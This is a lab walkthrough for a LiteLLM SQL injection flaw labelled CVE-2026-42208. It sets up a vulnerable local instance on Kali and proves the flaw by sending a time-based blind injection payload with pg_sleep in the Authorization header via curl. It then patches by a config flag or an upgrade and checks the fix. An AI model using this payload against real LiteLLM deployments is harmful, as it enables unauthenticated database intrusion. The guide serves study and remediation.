

Security Walkthrough: CVE-2026-42208 Laboratory Guide

Target Environment: Kali Linux VM

Target Component: LiteLLM (v1.83.6)

Vulnerability Class: SQL Injection (Unauthenticated Blind Time-Based)

This document outlines the exact replication procedures to construct a simulated, isolated laboratory environment on Kali Linux to analyze, exploit, and remediate the **CVE-2026-42208** vulnerability safely.

Phase 1: Environment Setup in Kali Linux

To establish a controlled environment without impacting production systems, we configure a local, vulnerable instance of LiteLLM inside an isolated Python virtual environment.

Step 1: Open Terminal and Install Prerequisites

Ensure Python's virtual environment tool and package manager are up to date within your Kali system:

```
sudo apt update
sudo apt install python3-venv python3-pip -y
```

Step 2: Create an Isolated Project Workspace

Create a dedicated directory structure and initialize a clean environment context:

```
mkdir ~/litellm_lab
cd ~/litellm_lab
python3 -m venv venv
source venv/bin/activate
```

Note: Your terminal command prompt will append a `(venv)` prefix indicating isolation is active.

Step 3: Install the Vulnerable Version of LiteLLM

The flaw is present in LiteLLM versions `1.81.16` through `1.83.6`. Install the boundary version explicitly:

```
pip install litellm==1.83.6
```

Step 4: Launch the Local Server

Spin up the proxy application interface tracking on local port 4000. Maintain this window open to capture server runtime logs:

```
litellm --port 4000
```

Phase 2: Simulating the Attack (Proof of Concept)

The flaw originates inside unauthenticated entry verification routines where raw input from the **Authorization** header maps directly into data queries without structural parameter filtering. Using structural quotes (`'`), an execution sequence can be forced.

Step 1: Baselines Normal API Response Timing

Open an alternate terminal workspace tab and measure the execution duration of an unauthenticated baseline submission:

```
time curl -X POST http://127.0.0.1:4000/chat/completions -H "Authorization: Bearer test_key" -H "Content-Type: application/json" -d '{"model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": "hi"}]}'
```

*The application rejects the request immediately with a **401 Unauthorized** status payload. The **time** benchmark metric should reflect instantaneous execution (~0.0s to 0.1s).*

Step 2: Inject the Malicious Payload

Submit an adjusted string injecting database execution delays (e.g., PostgreSQL execution halt vectors) embedded natively in the bearer token format:

```
time curl -X POST http://127.0.0.1:4000/chat/completions -H "Authorization: Bearer ' OR (SELECT pg_sleep(5)) IS NULL --'" -H "Content-Type: application/json" -d '{"model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": "hi"}]}'
```

Step 3: Verify Exploit Success

- **Application Behavior:** The interface drops validation and retains standard **401 Unauthorized** JSON blocks.
- **Validation Metric:** Evaluate output parameters from the prefix **time** modifier wrapper. If round-trip timing blocks register a delay matching or exceeding **5.0 seconds**, the input query parsed directly as backend execution instructions, confirming active vulnerability status.

Phase 3: Fixing the Vulnerability Myself

Two distinct operational paradigms are available to achieve verification parameters required within academic assessment structures.

Option A: Operational Configuration Workaround

The injection sink sits completely within error telemetry construction mechanisms processing failed credentials. Instruct the engine to disable these pathways entirely:

1. Terminate the active deployment loop in terminal panel 1 via `Ctrl + C`.
2. Relaunch passing explicit JSON flag overrides directly:

```
litellm --port 4000 --config '{"general_settings": {"disable_error_logs": true}}'
```

Option B: Source Implementation Defenses (Permanent Patching)

The framework maintainers resolved the bug path inside package revisions by deprecating raw Python f-string database construction blocks and enforcing typed parameterization layers.

1. Terminate execution threads via `Ctrl + C`.
2. Advance the package structure constraints past the patched revision ceiling (version `1.83.7` or higher):

```
pip install litellm>=1.83.7 --upgrade
```

3. Restore normal runtime configurations:

```
litellm --port 4000
```

Phase 4: Verifying the Fix Works

Re-evaluate stability against the injection profile inside the primary terminal environment:

```
time curl -X POST http://127.0.0.1:4000/chat/completions -H "Authorization: Bearer ' OR (SELECT pg_sleep(5)) IS NULL --" -H "Content-Type: application/json" -d '{"model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": "hi"}]}'
```

Verification Conclusion

The application interface will emit typical `401 Unauthorized` feedback elements immediately. The terminal timeline statistics drop down instantly to the baseline range (**0.0s - 0.1s**), demonstrating total mitigation against delayed instruction parsing patterns. The inputs are evaluated purely as harmless literals.